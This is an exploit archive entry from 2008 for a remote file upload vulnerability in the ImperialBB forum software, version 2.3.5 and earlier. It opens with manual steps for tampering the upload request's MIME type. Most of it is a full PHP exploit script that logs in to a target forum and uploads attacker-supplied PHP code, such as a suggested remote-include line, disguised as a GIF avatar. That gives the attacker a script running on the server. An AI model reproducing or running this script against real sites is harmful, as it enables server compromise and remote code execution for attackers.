imperialbb-upload.txt

`Title : ImperialBB <= 2.3.5 Remote File Upload Vulnerability  
Date : 5th July 2008  
Found by : PHPLizardo - http://phplizardo.2gb.fr  
Greetz : Gu1ll4um3r0m41n  
  
Howto : 1. Go to your User Control Panel  
2. Upload any file you want  
3. Tamper the request and change the mime-type to : image/gif  
4. There is your file : http://site.com/[forum_path]/images/avatars/uploads/[your_nickname]_[filename].[ext]  
  
<?php  
/*  
  
Title : ImperialBB <= 2.3.5 Remote Upload Vulnerability  
Date : 5th July 2008  
Found by : PHPLizardo  
  
Description : This vulnerability can be used by a attacker to upload a malicious script on the webserver.  
  
Greetz : irc.worldnet.net #carib0u  
  
  
*/  
  
if(count($argv) == 5)  
{  
echo "\n\n";  
echo "+---------------------------------------------------------------+\r\n";  
echo "| ImperialBB <= 2.3.5 Remote Upload Vulnerability |\r\n";  
echo "| By PHPLizardo - irc.worldnet.net #carib0u |\r\n";  
echo "| Usage: php exploit.php site.com /path/ user pass |\r\n";  
echo "+---------------------------------------------------------------+\r\n";  
echo "\n";  
  
echo "Code to write in the file (ie. <?php include(\$_GET['inc']); ?>) :\r\n\n";  
$code = trim(fgets(STDIN));  
  
$socket = @fsockopen($argv[1], 80, $eno, $estr, 30);  
if(!$socket)  
{  
die("Could not connect to ".$argv[1].". Operation aborted.");  
}  
  
$part1 = "POST " . $argv[2] . "profile.php?func=edit HTTP/1.1\r\n";  
$part1 .= "Host: " . $argv[1] . "\r\n";  
$part1 .= "Accept: */*\r\n";  
$part1 .= "Connection: Close\r\n";  
$part1 .= "Cookie: UserName=" . $argv[3] . "; Password=" . md5(md5($argv[4])) . "\r\n";  
$part1 .= "Content-Type: multipart/form-data; boundary=---------------------------200831142015814\r\n";  
  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"Email\"\r\n\r\n";  
$part2 .= "[email protected]\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"Email2\"\r\n\r\n";  
$part2 .= "[email protected]\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"OldPass\"\r\n\r\n\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"PassWord\"\r\n\r\n\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"Pass2\"\r\n\r\n\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"signature\"\r\n\r\n\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"aim\"\r\n\r\n\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"icq\"\r\n\r\n\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"msn\"\r\n\r\n\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"yahoo\"\r\n\r\n\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"Remote_Avatar_URL\"\r\n\r\n\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"Upload_Avatar\"; filename=\"funypicture.php\"\r\n";  
$part2 .= "Content-Type: image/gif\r\n\r\n";  
$part2 .= $code."\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"month\"\r\n\r\n";  
$part2 .= "00\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"day\"\r\n\r\n";  
$part2 .= "00\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"year\"\r\n\r\n";  
$part2 .= "0000\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"website\"\r\n\r\n\r\n";  
  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"location\"\r\n\r\n\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"email_on_pm\"\r\n\r\n";  
$part2 .= "0\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"OldPass\"\r\n\r\n\r\n";  
$part2 .= "-----------------------------200831142015814\r\n";  
$part2 .= "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n";  
$part2 .= "Submit\r\n";  
$part2 .= "-----------------------------200831142015814--\r\n";  
  
$part1 .= "Content-Length: " . strlen($part2) . "\r\n\r\n";  
  
  
  
$part1 .= $part2;  
  
fwrite($socket, $part1);  
  
echo "It might have worked, check if your file is online at -> http://" . $argv[1] . $argv[2] . "/images/avatars/uploads/" . $argv[3] . "_funypicture.php";  
  
}  
else  
{  
echo "\n\n";  
echo "+----.-----------------------------------------------------------+\r\n";  
echo "| ImperialBB <= 2.3.5 Remote Upload Vulnerability |\r\n";  
echo "| By PHPLizardo - irc.worldnet.net #carib0u |\r\n";  
echo "| Usage: php exploit.php site.com /path/ user pass |\r\n";  
echo "+---------------------------------------------------------------+\r\n";  
echo "\n\n";  
}  
?>  
  
`